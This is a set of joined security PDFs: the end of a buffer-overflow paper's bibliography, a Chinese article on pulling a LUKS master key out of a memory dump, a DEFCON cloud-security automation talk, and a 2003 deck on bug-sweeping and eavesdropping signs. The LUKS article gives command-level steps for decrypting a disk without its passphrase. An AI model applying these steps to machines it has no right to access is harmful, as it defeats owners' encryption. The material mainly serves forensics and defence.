for
C.
http://www-ala.doc.ic.ac.uk/~phjk/
BoundsChecking.html, July 1995.
[21] H.-A. Kim and B. Karp. Autograph: Toward automated,
distributed worm signature detection. In Proceedings of
USENIX Security Symposium, 2004.
[22] B. Korel and J. Laski. Dynamic program slicing. Informa-
tion Processing Letters, 29(3), 1988.
[23] B. Korel and J. Laski. Dynamic slicing of computer pro-
grams. The Journal of Systems and Software, 13(3), 1990.
[24] A. D. Lucia. Program slicing: Methods and applications.
In Proceedings of the 1st IEEE International Workshop on
Source Code Analysis and Manipulation, 2001.
[25] S. L. Min and J.-D. Choi. An efficient cache-based access
anomality detection scheme. In Proceedings of the Fourth
International Conferenceon Architectural Support for Pro-
gramming Languages and Operating Systems, 1991.
[26] J. Nazario.
Project Pedantic — source code analy-
sis tool(s). http://pedantic.sourceforge.net,
March 2002.
[27] Openwall project. http://www.openwall.com.
[28] D. Z. Pan and M. A. Linton. Supporting reverse execution
of parallel programs.
In Proceedings of the ACM SIG-
PLAN/SIGOPS Workhop on Paralleland Distributed De-
bugging, January 1989.
[29] A. Pasupulati, J. Coit, K. Levitt, S. F. Wu, S. H. Li,
J. C. Kuo, and K. P. Fan. Buttercup: On network-based
detection of polymorphic buffer-overflow vulnerabilities.
In Proceedings of Network Operations and Management
Symposium, 2004.
[30] M. Prvulovic and J. Torrellas. ReEnact: Using thread-level
speculation to debug software; An application to data races
in multithreaded codes. In Proceedings of the 30th Annual
International Symposium on Computer Architecture, June
2003.
[31] O. Ruwase and M. S. Lam. A practical dynamic buffer
overflow detector. In Proceedings of the 11th Network and
Distributed System Security Symposium, February 2004.
[32] Secure software solutions. Rough auditing tool for secu-
rity, RATS 2.1. http://www.securesw.com/rats.
[33] S. Srinivasan, S. Kandula, C. Andrews, and Y. Zhou.
Flashback: A lightweight extension for rollback and de-
terministic replay for software debugging. In Proceedings
of USENIX Annual Technical Conference, June 2000.
[34] P. Team.
Non-executable pages design and imple-
mentation. http://pax.grsecurity.net/docs/
noexec.txt.
[35] T. Toth and C. Kruegel. Accurate buffer overflow detection
via abstract payload execution. In Proc. of Intl. Symposium
on Recent Advances in Intrusion Detection, 2002.
[36] Vendicator. StackShield GCC compiler patch. http://
www.angelfire.com/sk/stackshield, January
2001.
[37] J. Viega, J. T. Bloch, T. Kohno, and G. McGraw. ITS4: A
static vulnerability scanner for C and C++ code. In Pro-
ceedings of the 16th Annual ComputerSecurity Applica-
tions Conference, December 2000.
[38] D. Wheeler.
Flawfinder.
http://www.dwheeler.
com/flawfinder.
[39] J. Wilander and M. Kamkar. A comparison of publicly
available tools for static intrusion prevention. In Proc. of
7th Nordic Workshop on Secure IT Systems, 2002.
[40] J. Wilander and M. Kamkar. A comparison of publicly
available tools for dynamic buffer overflow prevention. In
Proc. of 10th Network and Distributed System Security
Symposium, 2003.
[41] P. Zhou, F. Qin, W. Liu, Y. Zhou, and J. Torrellas.
iWatcher: Efficient architectural support for software de-
bugging. In Proceedings of the 31st Annual International
Symposium on Computer Architecture, 2004. | pdf |
1
luks 全盘加密的⼀个通⽤解密⽅法--从内存中提
取LUKS MASTER KEY
前⾔
破解LUKS全盘加密
从内存镜像中提取MASTER KEY
第⼀步 判断加密算法
第⼆步 DUMP 包含秘钥的内存
第三步 从内存寻找aes key
第四步 解密分区
第五步 解密其他分区
作者:橙⼦酱
之前的⽂章中提到了⼀种有启动分区的情况
磁盘主引导->引导分区->引导内核->系统启动->解密挂载分区 (⼀个引导分区 +⼀个主分区)
遇到这种情况就可以通过简单的提取⽂件系统中的秘钥解决.
但是运⽓不好还会遇到两种更变态的情况
磁盘主引导->引导分区->引导内核->引导内核中解密挂载分区->系统启动->解密挂载分区(只有⼀个引
导分区)
磁盘主引导->磁盘引导程序->解密分区->引导->系统启动->解密其他分区 (⼀个明⽂分区都没有)
前⾔
2
这时,通常只能通过逆向引导程序来提取内核镜像.最终拿到镜像中的秘钥⽂件.
这个过程⼗分的繁琐. 在没有符号表的情况逆向魔改过的linux引导内核也⾮常困难.
那么有没有⼀个简单的⽅法解决这个问题呢?
luks 解密进⾏磁盘后硬盘上的数据实际仍然是加密的.
为了可以实时读写加密分区内的数据,加解密使⽤的秘钥⼀定存在于内存之中.
破解LUKS全盘加密
钱镜洁， 魏鹏， 沈⻓达. LUKS加密卷的离线解密技术分析[J]. 信息⽹络安
全, 2014, 14(9): 217-219.
3
挂载硬盘 使⽤cryptsetup luksDump 判断分区使⽤的加密算法
本⽂使⽤的是 AES 256 加密 (默认加密算法)
在虚拟机第⼀个分区完成解密后,dump虚拟机完整内存 (快照 暂停 命令⾏ 均可)
使⽤⼯具从内存寻找aes key
https://sourceforge.net/projects/findaes/
https://github.com/mmozeiko/aes-finder
https://www.kali.org/tools/aeskeyfind/
从内存镜像中提取MASTER KEY
第⼀步 判断加密算法
第⼆步 DUMP 包含秘钥的内存
第三步 从内存寻找aes key
4
选择对应⻓度的key hex转成raw⽂件作为key
第四步 解密分区
5
ryptsetup luksOpen 加密的分区 --master-key-file key⽂件 挂载名
依次尝试各个分区和各个秘钥的组合 ⽆错误返回即为解密成功.
挂载解密后的分区,在解密后寻找⾃动挂载⽂件 /etc/crypttab
得到其他秘钥位置.
之后的步骤就按照之前的⽂章操作
第五步 解密其他分区 | pdf |
From
0
to
Secure
in
1
Minute
DEFCON
23
Nir Valtman &
Moshe
Ferber
About
Us
Nir
Valtman
Moshe
Ferber
ü CISO
Retail
in
NCR
Corporation.
§
We
own
a
private
cloud
&
offering
SaaS
§
Yes…
we
do
security!
ü Instructor
for
Cloud
Security
(CCSK)
–
that’s
what
I
really
like
doing
Passionate
about
information
security
Involved
in
numerous
startups
and
initiatives
– sometimes
with
success,
sometimes
not…
Industry
speakers
and
lecturers
– that’s
why
we
are
here
I
like
non-‐
sweating
sports!
I
don’t
like
sport!
About
the
talk
Cloud
security
challenges
and
benefits
And
more
specifically,
using
IaaS automation
and
orchestration
features
for
increasing
the
security
Dashboard
Billing
API
Orchestration
Hypervisor
Controller
Abstraction
Physical
Servers
Network
Storage
About
the
talk
Cloud
Attack
Vectors
Provider
administration
Management
console
Multi
tenancy
&
virtualization
Automation
&
API
Chain
of
supply
Side
channel
attack
Insecure
instances
Anatomy
of
a
cloud
hack
Anatomy
of
a
cloud
hack
– the
BrowserStack story
Shell
shock
vulnerability
on
unused
server
Found
API
key
on
hacked
server
Using
API
key
opened
a
firewall
rule
and
launch
an
instance
Attached
a
backup
volume
to
the
instance
Found
database
credential
on
backup
device
Connected
to
DB
SOURCE:
https://www.browserstack.com/attack-‐and-‐downtime-‐on-‐9-‐November
Do
we
have
the
right
tools?
Source:
http://ifail.info/wp-‐content/uploads/2010/04/street_dentist_thumb.jpg?98bbf9
About
the
talk
Micro-‐Services
Architecture
DEV
OPS
Continuous
Delivery
1
hour
10
min
1
min
Architecture
&
Deployments
is
changing
The
billing
cycle
is
reducing
Google
slashes
cloud
platform
price
again
Microsoft
will
offer
Azure
by
the
minute
to
take
on
Amazon’s
cloud
Microsoft
follows
Google
with
by-‐the-‐minute
cloud
blending
AUTO
SCALING
About
the
talk
How
to
do
security
when
servers
alive
for
10
minutes?
Patch
management
Maintenance
windows
Periodic
vulnerability
scanning
Hardening
The image
T
DON’T
LET
SECURITY
HOLD
YOU
DOWN
Source:
www.avon-‐barrier.co.uk
About
the
talk
Introducing
SOURCE:
http://www.cloudefigo.org/
Based
on
the
work
made
by
Rich
Mogull from
Securosis
https://github.com/securosis
Cloudefigo Lifecycle
Server
launch
1
Server
loads
security
configuration
Server
encrypts
disk
volumes
Server
scanned
for
vulnerabilities
Server
moves
to
production
S3
2
3
4
5
Components
Object
Storage
Vulnerability
Scanner
Cloud-‐Init
Configuration
Management
IAM
Roles
Volume
Encryption
Instant
Lifecycle
Launch
Update
Control
Scan
Production
Terminate
LAUNCH
Prepare
Cloudinit
ü Each
machine
manage
its
own
attributes
§
Encryption
keys
§
Remediation
vs production
groups
ü Management
of
these
attributes
require
permissions
ü Permissions
during
launch
>
production
ü Thus,
a
dynamic
IAM
role
is
required
LAUNCH
Prepare
Cloudinit
LAUNCH
Prepare
Cloudinit
ü Executed
in
root
permissions
when
image
is
launching.
ü Responsible
for
building
the
infrastructure
for
the
following
steps.
LAUNCH
Prepare
Cloudinit
UPDATE
OS
update
Pre-‐requisites
ü CloudInit to
update
&
upgrade
software
packages
ü Primary
goal
is
to
make
sure
the
cloud
instance
is
secure
once
upgraded
UPDATE
OS
update
Pre-‐requisites
ü CloudInit to
install
the
software
packages
required
to
operate:
§
Python
+
pip
+
wheel
§
AWS
SDK
(Boto)
§
Chef
Client
+
Chef
SDK
(PyChef)
ü Download
configurations
and
scripts
from
S3:
§
Cloudefigo script
§
Chef
client
initialization
files
ü Cloudinit to
create
and
attach
a
volume
for
application
files
and
data.
UPDATE
OS
update
Pre-‐requisites
CONTROL
Chef
Registration
Encrypt
ü The
Chef
clients
register
to
the
Chef
Management
server
using
the
initialization
files
loaded
from
S3.
ü Once
the
client
is
registered,
a
policy
is
loaded
and
enforced
on
the
instance.
CONTROL
Chef
Registration
Encrypt
Where
should
you
keep
your
keys?
Cloud
Provider
On
Premise
3rd Party
Protected
Snapshots
and
backups
Snapshots,
backups,
subpoena
and
malicious
insiders
Snapshots,
backups
and
cloud
provider’s
malicious
insiders
Vulnerable
Malicious insider
attacks and
subpoena
Key exchange
attacks
Key
exchange
attacks
and
subpoena
(partial)
CONTROL
Chef
Registration
Encrypt
ü The
volume
to
be
encrypted
using
randomly
generated
key.
§
The
key
is
stored
on
S3
for
later
use.
ü The
application
database
to
be
installed
in
the
encrypted
volume.
Instance
1
Instance
2
Instance
3
Bucket
2f3g
Bucket
5dw4
Bucket
8H7g
Key
ID
5dw4
Key
ID
8H7g
Key
ID
2f3g
Key
1#Fd3
Key
vFS3=
Key
Bs$a
CONTROL
Chef
Registration
Encrypt
ü Dynamic
S3
policy:
access
to
key
require
a
referrer
header that
is
generated
based
on
attributes
from
the
instance.
CONTROL
Chef
Registration
Encrypt
SCAN
Automatic
Scan
Analyze
ü A
vulnerability
scan
to
be
launched
automatically
by
CloudInit script.
ü The
deeper
the
scan,
the
longer
it
takes
to
move
to
production.
SCAN
Automatic
Scan
Analyze
ü The
results
of
the
scan
are
analyzed
by
the
Cloudefigo script.
ü Based
on
scan
results
– the
instance
to
move
to
production
or
remain
in
the
remediation
group.
ü The
lowest
security
risk
severity
can
be
defined.
SCAN
Automatic
Scan
Analyze
PRODUCTION
Least
privileged
role
Manage
ü Reminder:
Permissions
in
launch
>
production
ü IAM
role
permissions
reduced
dynamically
-‐
contains
read
only
access
PRODUCTION
Least
privileged
role
Manage
ü For
the
ongoing
operations
– a
compensating
controls
are
required.
ü Cloudefigo management
script
lists
cloud
instances
and
validates
they
are
managed
by
Chef
ü Cloudefigo will
set
alert
when
someone
will
try
to
use
access
keys.
PRODUCTION
Least
privileged
role
Manage
Setting
a
CloudWatch alarm
PRODUCTION
Least
privileged
role
Manage
TERMINATE
Instance
Encryption
Keys
ü The
life
cycle
ends
once
a
server
is
terminated
along
with:
§
Attached
volumes
§
IAM
role
TERMINATE
Instance
Encryption
Keys
ü The
instance
data
still
exist
in
backups/snapshots
or
provider
storage
ü Encryption
keys
to
be
deleted
with
instance
in
order
to
make
sure
the
backup
data
remain
inaccessible
(not
implemented
in
this
version)
Wrapping
Up
The
new
software
architecture
and
applications
delivery
in
cloud
module
disrupts
traditional
correctives
controls
We
need
to
adopt
new
thinking
to
automate
security
Think
how
security
automation
can
help
you
in
moving
your
infrastructure
forward.
Faster.
Questions
Moshe
Ferber
@: moshe (at)
onlinecloudsec.com
w:
www.onlinecloudsec.com
in:
www.linkedin.com/in/MosheFerber
t:
@FerberMoshe
Nir
Valtman
@: nir.valtman (at)
ncr.com
w:
www.ncr.com
|
www.valtman.org
in:
www.linkedin.com/in/valtmanir
t:
@ValtmaNir
www.cloudefigo.org | pdf |
Copyright 2003 Corporate
Defense Strategies
1
TSCM
The real story behind sweeping
for eavesdropping devices
ECHNICAL
ECURITY
OUNTER
EASURES
Jeffrey S. Prusan
Michael D. Glasser
Copyright 2003 Corporate
Defense Strategies
2
TSCM
Outline
•Tools used for sweeps
•Demo of how phones are tapped
•Signs that your offices are “Bugged”
•Who gets “Bugged”?
•How corporate spies infiltrate your infrastructure
•Spy shop “toys”
•What to do if you suspect you’ve been bugged
•Planning an execution of a successful sweep
•How to protect your company in the future against eavesdroppers
Copyright 2003 Corporate
Defense Strategies
3
TSCM
Tools Used for
Sweeps
Copyright 2003 Corporate
Defense Strategies
4
TSCM
Tools used for sweeps
•Time Domain Reflectometer
•NearField Detector
•Non-Linear Junction Detector
•Spectrum Analyzer
•Oscilloscope
•Physical Inspection
Copyright 2003 Corporate
Defense Strategies
5
TSCM
Time Domain Reflectometer
Copyright 2003 Corporate
Defense Strategies
6
TSCM
Time Domain Reflectometer
Time Domain Reflectometry is the analysis of a conductor (wire, cable, or fiber optic) by
sending a pulsed signal into the conductor, and then examining the reflection of that
pulse.
By examining the polarity, amplitude, frequencies and other electrical signatures of all
reflections; tampering or bugs may be precisely located.
Any device or wire attached will cause a detectable anomaly, the TSCM technician will
then perform a physical inspection at the location of the anomaly.
TDR analysis will usually NOT detect capacitively isolated devices or inductive taps. In
the case of capacitively isolated device or inductive tap, the TDR sweep is always
supplemented by a detailed high frequency cross talk evaluation and a detailed physical
inspection.
Copyright 2003 Corporate
Defense Strategies
7
TSCM
Time Domain Reflectometer
Signal Generator Pulse
injected into cable
Echo Received from
Pulse (Reflection)
The delay between the initial pulse and the reflected pulse indicate the length of the cable
(or the location of an anomaly). The delay is divide by the speed of light, and multiplied by
the proper velocity of propagation (based on the capacitance of one foot of cable), and then
divide the result by two. On a ten mile section of cable a resolution of one tenth of an inch or
better is typical (512,000 point TDR).
Copyright 2003 Corporate
Defense Strategies
8
TSCM
NearField Detector
Copyright 2003 Corporate
Defense Strategies
9
TSCM
NearField Detector
A NearField Detector is designed to detect low level radio frequency (RF) radiation
from transmitters, receivers, computers, etc. One of the two antennas detects
towards positive while the other detects towards negative, therefore, if the source of RF
energy is away from the two antennas (i.e. 20 feet or more) both antennas receive
essentially the same amount of energy and the meter remains at zero. As the ratio of the
distance between the RF source and the antennas decreases, one antenna receives
more RF than the other and the meter swings on that direction. This effect is known as
near field or differential detection.
Copyright 2003 Corporate
Defense Strategies
10
TSCM
NearField Detector
2055HA - NEAR FIELD RF DETECTOR/DIFFERENTIAL RF PROBE (MK IV)
This differential antenna detector covers from 10 to over 1,000 MHz and solves many of
the problems encountered in very high level signal locations such as metropolitan areas.
The level of radio frequency (RF) radiation from computers and other electronic
equipment can also be observed with this unit. Supplied with amplifier/indicator
assembly, RF head, two antennas, head extension rods and cables, special 2,000 ohm
headset and carrying case. Uses two 9-volt batteries and incorporates internal battery
test circuits.
The 2055HA covers frequencies ranging from lower than 10,000 Hz (10 Khz) to over
1,000 MHz or 1 GHz. The system consists of: amplifier/indicator assembly, RF head
assembly, head extension rods, head extension cable, two multi-section antennas, two
right angle BNC connectors, special 2,000 ohm headset, carrying case and instructions.
Copyright 2003 Corporate
Defense Strategies
11
TSCM
NearField Detector
NEARFIELD DETECTORS
TO OPERATE: Insert the RF head assembly into the BNC connector on the top of the amplifier/indicator assembly and position so
the two cover screws face the operator. Connect the two antennas with right angle adapters to the RF head and position so they are
parallel. If the frequency of interest it above 500 MHz, collapse both antennas fully. For frequencies between 100 and 500 MHz,
extend both antennas one section. For frequencies below 100 MHz extend both antennas two sections.
Insert the 2K ohm headset supplied into the HEADSET-2K jack. Do NOT use a low impedance headset (it simply won't work). The
headset is worn with the gray stethoscope tube under the chin and the sound output holes facing slightly forward (roughly 30 degrees)
or with the ear hook. Turn the unit ON and place the TONE/AUDIO switch in the TONE position. Zero the Meter with the ZERO SET
control at the top of the unit. press the + BATTERY Test button. The meter will swing to the right and a reading in excess of + .8
indicates satisfactory battery conditions Pressing the - button causes the meter to swing to the left and again, a reading in excess of -
.8 indicates a satisfactory battery condition.
Pass the antennas over the test areas If a source is located, the Meter will swing in the direction of the source and pass through zero
when the source is perpendicular to the two antennas. Since the tone heard through the headset has a pitch proportional to the meter
readings it is not necessary to observe the meter while searching for the source.
The lowest pitch tone indicator zero and the tone increases in pitch on either side of zero. The RF head can be extended with the
extension handles and cable. Plug the cable BNC connector into the BNC jack at the bottom of the RF head. Plug the mini-plug into
the jack located to the left of the BNC plug on the amplifier/indicator assembly.
Copyright 2003 Corporate
Defense Strategies
12
TSCM
NearField Detector
The 2055HA say also be used as a single antenna RF detector by removing the left antenna and zeroing the unit. The meter will
swing only to the right when a source is located If the meter goes beyond full scale to the right, the zero may be suppressed to the
left of center as required. The TONE/AUDIO switch causes either a tone proportional to the meter reading (TONE) or demodulated
AM audio (AUDIO) to occur at the headset. the DC output of the op-amp is accessible through the RECORDER jack. This output is
designed to drive a strip chart recorder.
Should either battery become weak (i.e. below .8), replace both batteries by removing the top and bottom screws from the amplifier/
indicator assembly and carefully lifting off the back cover. Alkaline batteries are always preferred. While the back cover is off, note
the three screw-driver adjust potentiometers The one in the upper center above the upper integrated circuit is the rough zero. The
control to the right (as viewed from the back) of the integrated circuit is the gain control, The control below and slightly to the right of
the gain control is the base tone adjustments To re-enter the position of the ZERO SET control, set that control to mid-range and
adjust the rough zero control for zero indication on the Deter. To adjust the base tone, zero the meter and set this control for a tone
output of roughly 5 to 20 Hz. As with any piece of electronic equipment, remove the batteries during periods of prolonged storage.
Copyright 2003 Corporate
Defense Strategies
13
TSCM
Non-Linear Junction Detector
Copyright 2003 Corporate
Defense Strategies
14
TSCM
Non-Linear Junction Detector
Back in the early 70's a method was developed to detect eavesdropping devices though the analysis of harmonic
emissions caused by an illuminating signal when it is reflected off of a target. A few years later this
method was used by the Super scout NLJD system (which was the first commercially available and patented NLJD).
Semiconductors contain multiple layers of silicon, a P-Type and an N-Type, the point where they meet is
called a Non Linear Junction. This junction also appears in nature when dissimilar metals come in contact
with one another (such as that used in the old crystal radio set). Also, the rust on a screw, the springs in
a car, or the support structure in any piece of furniture may also contain non linear junctions (resulting
from corrosion).
A Non Linear Junction Detector finds potential eavesdropping devices by flooding a suspect area or target
with a spectrally pure microwave RF signal (usually around 888 or 915 MHz). Various frequencies are then
monitored for a reflected harmonic signal.
The instrument typically has an antenna and a control unit. The antenna is mounted on an extendable pole, and
really nothing more than a microwave waveguide which both emit and collects the signals (with a duplexer).
The control unit is usually a multiple channel, highly sensitive radio receiver tuned to specific second, and
third harmonic frequencies. While it is possible to measure the 4th, 5th, 6th, and other harmonics those
above the third are only of limited TSCM value.
Copyright 2003 Corporate
Defense Strategies
15
TSCM
Non-Linear Junction Detector
Power Level Issues
Non Linear Junction Detectors are available in a variety of power outputs ranging from the "civilian" version
with an output below 25 mW, to the restricted Government version with a power output over 2 watts ERP. The
Soviet and Chinese government actually use NLJD instruments which generate hundreds of watts of power, but
often cost the TSCM specialist their vision (and other soft tissue damage) due to high levels of non-ionizing
radiation. On an added note a NLJD should not be directed to any human or other living creature due to the
potential of serious bodily harm. You can actually knock out a cardiac patients pacemaker from a distance
with one, or cause serious soft tissue damage such as cornea injury, loss of hearing, kidney failure, and so
on. As the power output increases the greater the range of the unit, and the penetration into solid materials.
As the power level increases, the sensitivity of the unit will decrease.
Normally a 2 Watt NLJD will detect an eavesdropping device through several inches of concrete, inside a wall,
or buried deep inside a couch. The lower power units (50-100 mW) on the other hand will only detect
eavesdropping devices inside a book, or devices only an inch or so away from the antenna (such as behind a
few layers of sheetrock). Non Linear Junction Detector transmit power is relatively meaningless. The sensitivity and bandwidth of the
receiver is a far more important issue. Cheap units use high power to overcome poor receiver sensitivity and
poor noise figures. In general the better units (more effective) are the lower powered ones.
Much like an X-ray the power level must be variable based on the density of the object being inspected. Of
course the more power you generate the more "alerting" your activities become, and the higher the risk of
personal injury (just like taking an X-Ray). Generally a 1.5 Watt ERP unit with a variable output (adjustable down to around 5 mW
ERP) works well, but if you use Digital Signal Processing or DSP in the unit to increase sensitivity the power levels can be drop to
well below a Watt.
Copyright 2003 Corporate
Defense Strategies
16
TSCM
Spectrum Analyzer
Copyright 2003 Corporate
Defense Strategies
17
TSCM
Spectrum Analyzer
A good Digital Spectrum Analyzer is the "workhorse" of the TSCM industry.
When coupled with a computer, printer, and vector signal analyzer will detect virtually
any RF eavesdropping device made (including the ones used by the FBI, NSA, CIA,
SVR, CSE, MI5, GCHQ, etc).
Copyright 2003 Corporate
Defense Strategies
18
TSCM
Spectrum Analyzer
The Tektronix 494A/P and 497A/P Spectrum Analyzer are the more recent additions to
the 490 family. They include better frequency stability, markers, and better programming
functions. Typical frequency of the 494A/P is from 10 kHz to 22 GHz, external mixers will
increase the range to 40 GHz (or 325 GHz). The 497A/P model has operations similar to
the 494 but the frequency coverage is limited to 100 Hz to 7.1 GHz. The 490 series has
since been replaced by the FSE series out of Germany. Used instruments are commonly
available for around $25,000 for a 494A/P, and $15,000 for the 497A/P. The 494A/P is
the only spectrum analyzer in the Tektronix 490 family that ever saw wide spread usage
in the TSCM industry. The 494 A/P version was fairly popular with all U.S. government
agencies performing TSCM. The units are fairly easy to operate, lightweight, but
temperamental when "bumped around". When used with an external demodulator the
494A/P becomes an excellent instrument for TSCM teams who travel heavily and are
unable to transport a lab grade instrument.
Copyright 2003 Corporate
Defense Strategies
19
TSCM
Oscilloscopes
Copyright 2003 Corporate
Defense Strategies
20
TSCM
Oscilloscopes
All TSCM teams should have at least two Digital Storage Oscilloscopes, one
should be a rugged hand held unit, and the other should be a lab grade unit with a
1 GHz bandwidth. Al least one unit should be computer controllable, and should be
capable of direct postscript printing or computer control. The units most commonly
found in the TSCM industry are the Tektronix TDS784 and the THS720 Digital
Oscilloscopes, along with the Fluke 190 series. Both units are fully computer controllable,
rugged, and designed to take years of abuse. DocuWave software and a PC should be
used to control the scopes and store traces and data. The TDS784 offers 4 channels
with a digitizing rate of 1GS/s (1 Billion samples per second) and work well for high
resolution TDR work. When used to monitor the wideband output of a search receiver
signals identification is made considerably easier. The THS720 Digital Oscilloscope
offers 2 channels with a digitizing rate of 500 MS /s (500 Million samples per second). It
comes in a small handheld case, and works well in the field, an excellent piece of
equipment.
Copyright 2003 Corporate
Defense Strategies
21
TSCM
Physical Inspection
Copyright 2003 Corporate
Defense Strategies
22
TSCM
Physical Inspection
Regardless of how much technology you have physical inspection is still a crucial
part of any TSCM sweep.
It is still necessary to get on your knees and up on the ladder!
Copyright 2003 Corporate
Defense Strategies
23
TSCM
Demo of how phones
are tapped
Copyright 2003 Corporate
Defense Strategies
24
TSCM
Signs that your offices are
“Bugged”
Copyright 2003 Corporate
Defense Strategies
25
TSCM
Signs that your offices are “Bugged”
Others know your confidential business or professional trade secrets.
This is the most obvious indicator of covert eavesdropping activities. Theft of confidential
information is a multi-billion dollar underground industry in the United States. Often the
loss of your secrets will show up in very subtle ways so you should always trust your
instincts in this matter. When your competitors know things that are obviously private, or
the media finds out about things they should not know, then it is reasonable to suspect
technical eavesdropping or bugging.
Secret meetings and bids seem to be less than secret.
Confidential meetings and bids are very popular targets for corporate spies. How would
you like the plans for the corporate takeovers you're planning to become public
knowledge? Would copies of your product designs be of any use to your competitors?
Would it be beneficial for your competitors to know how much you're quoting for the
same project?
Copyright 2003 Corporate
Defense Strategies
26
TSCM
Signs that your offices are “Bugged”
You have noticed strange sounds or volume changes on your phone lines.
This is commonly caused by an amateur eavesdropper when they attach a wiretap, or
activate a similar listening device. Surveillance devices often cause slight anomalies on
the telephone line such a volume shift or drop-out. Professional eavesdroppers and their
equipment usually do not make such noises; so if this is going on it could indicate that
an amateur eavesdropper is listening in.
You have noticed static, popping, or scratching on your phone lines.
This is caused by the capacitive discharge which occurs when two conductors are
connected together (such as a bug or wiretap on a phone line). This is also a sign that
an amateur eavesdropper or poorly trained spy is playing with your phone lines. It could
be nothing more then a problem with your phone line or instrument, but a TSCM person
should evaluate the situation to make sure.
Copyright 2003 Corporate
Defense Strategies
27
TSCM
Signs that your offices are “Bugged”
Sounds are coming from your phones handset when it's hung up.
This is often caused by a hook switch bypass, which turns the telephone receiver into a
eavesdropping microphone (and also a speaker). There is probably somebody listening
to everything you say or do within twenty feet of the telephone (if this is happening).
Your phone often rings and nobody is there, or a very faint tone, or high pitched
squeal/beep is heard for a fraction of a second.
This is an indicator of a slave device, or line extender being used on your phone line.
This is also a key indicator of a harmonica bug, or infinity transmitter being used. Of
course it may also be nothing more then a fax machine or modem calling the wrong
number (but a TSCM person should evaluate the situation to make sure).
Copyright 2003 Corporate
Defense Strategies
28
TSCM
Signs that your offices are “Bugged”
You can hear a tone on your line when your phone is on the hook
(by using an external amplifier).
To check for something like this you would have to obtain a "recorder starter" interface
(with a VOX option), or some kind of a high gain audio amplifier such as a uAmp or
Kaiser 1059. Then with the phone hung-up listen to your telephone wiring. If you hear a
faint solid dual tone it is a dead giveaway of someone using a "slave" eavesdropping
device on your (or one of your neighbors) telephone lines. Such devices create a
"command tone" when the subject hangs up the phone (so you must ensure that all of
your phones are hung-up).
On an added note: the most common command tones for illicit eavesdropping devices
are 2100 Hz and DTMF-C, but any tone combination may be used.
Copyright 2003 Corporate
Defense Strategies
29
TSCM
Signs that your offices are “Bugged”
Your AM/FM radio has suddenly developed strange interference.
Many amateur and spy shop eavesdropping devices use frequencies within or just
outside the FM radio band, these signals tend to drift and will "quiet" an FM radio in the
vicinity of the bug. Look for the transmissions at far ends of the FM radio band, and at
any quiet area within the FM band. If the radio begins to squeal then slowly move it
around the room until the sound become very high pitched. This is referred to
as feedback detection or loop detection and will often locate the bug. The "stereo"
function should be turned off so the radio is operating in "mono" as this will provide a
serious increase in sensitivity. If you find a "squealer" in this manner then immediately
contact a TSCM and get them to your location FAST.
Copyright 2003 Corporate
Defense Strategies
30
TSCM
Signs that your offices are “Bugged”
You car radio suddenly starts "getting weird"
Keep in mind that the antenna your car radio uses may be (and often is) exploited by an
eavesdropper, and that such usage may interfere with radio reception (so be concerned
if you automobile radio suddenly starts getting weird).
Your television has suddenly developed strange interference.
Television broadcast frequencies are often used to cloak a eavesdropping signal, but
such a devices also tends to interfere with television reception (usually a UHF channel).
Televisions also "suck in" a lot of RF energy and because of this are very sensitive to
any nearby transmitters (this is technically called "Bandwidth, and TV signals use a lot of
it). A small handheld television with a collapsible antenna may be used to sweep a room.
Carefully watch for interference around channel numbers 2, 7, 13, 14, 50-60, and 66-68
as these frequencies are very popular with eavesdroppers.
Copyright 2003 Corporate
Defense Strategies
31
TSCM
Signs that your offices are “Bugged”
You have been the victim of a burglary, but nothing was taken.
Professional eavesdroppers often break into a targets home or office, and very rarely
leave direct evidence of the break-in; however, occupants of the premises will often
"pickup on something not being right" such as the furniture being moved slightly.
Electrical wall plates appear to have been moved slightly or "jarred".
One of the most popular locations to hide eavesdropping devices is inside, or behind
electrical outlets, switches, smoke alarms, and lighting fixtures. This requires that the
wall plates be removed. Look for small amounts of debris located on the floor directly
below the electrical outlet. Also, watch for slight variations in the color or appearance of
the power outlets and/or light switches as these are often swapped out by an
eavesdropper. Also note if any of the screws which hold the wall plate against the wall
have been moved from their previous position.
Copyright 2003 Corporate
Defense Strategies
32
TSCM
Signs that your offices are “Bugged”
A dime-sized discoloration has suddenly appeared on the wall or ceiling.
This is a tell tale sign that a pinhole microphone or small covert video camera has been
recently installed.
One of your vendors just gave you any type of electronic device such as a desk
radio, alarm clock, lamp, small TV, boom box, CD player, and so on.
Many of these "gifts" are actually Trojan horses which contain eavesdropping devices.
Be very suspicious of any kind of pen, marker, briefcase, calculator, "post-it" dispenser,
power adapter, pager, cell phone, cordless phone, clock, radio, lamp, and so on that is
given as a gift. That little gift the salesman left for you may be a serious hazard.
A small bump or deformation has appeared on the vinyl baseboard near the floor.
Strong indicator that someone may have concealed covert wiring or a microphone
imbedded into the adhesive which holds the molding to the wall. Such deformation will
often appear as a color shift, or lightening of the color.
Copyright 2003 Corporate
Defense Strategies
33
TSCM
Signs that your offices are “Bugged”
The smoke detector, clock, lamp, or exit sign in your office or home looks slightly
crooked, has a small hole in the surface, or has a quasi reflective surface.
These items are very popular concealment for covert eavesdropping devices. Often
when these devices are installed at a target location they are rarely installed straight.
Also watch out for things like this that "just appear", or when there is a slight change in
their appearance.
Certain types of items have "just appeared" in your office of home, but nobody
seems to know how they got there.
Typical items to watch for and beware of are: clocks, exit signs, sprinkler heads, radios,
picture frames, and lamps.
Copyright 2003 Corporate
Defense Strategies
34
TSCM
Signs that your offices are “Bugged”
White dry-wall dust or debris is noticed on the floor next to the wall.
A sign that a pinhole microphone or video camera may have been installed nearby. It will
appear as if someone has dropped a small amount of powdered sugar either on the floor,
or on the wall.
You notice small pieces of ceiling tiles, or "grit" on the floor,
or on the surface area of your desk.
Prime indicator that a ceiling tile has been moved around, and that someone may have
installed a hidden video camera or other eavesdropping device in your office or near
your desk. Also watch for cracks or chips in the ceiling tiles. Amateur and poorly trained
spies tend to crack or damage acoustical tiles. The ceiling tiles in any executive areas
should never contain any cracks, nicks, gouges, or stains. Any ceiling tile that becomes
damaged (for what ever reason) should immediately replaced and the cause to the
damage documented. In such cases it is also wise to have a TSCM specialist inspect
the area around the chipped, broken, or damaged tile to determine if a hostile
eavesdropping device may have been introduced.
Copyright 2003 Corporate
Defense Strategies
35
TSCM
Signs that your offices are “Bugged”
You notice that "Phone Company" trucks and utilities workers are spending a lot
of time near your home or office doing repair work.
If you see the same or similar vehicles more then three times then you may have a
serious problem (at least according to the U.S. State Department training course on
counter surveillance).
Telephone, cable, plumbing, or air conditioning repair people show up to do work
when no one called them.
A very common ruse which eavesdroppers use to get into a facility is to fake a utility
outage, and then show up to fix the problem. While they are fixing "the problem" they are
also installing eavesdropping devices. Some of the more popular outage involve power,
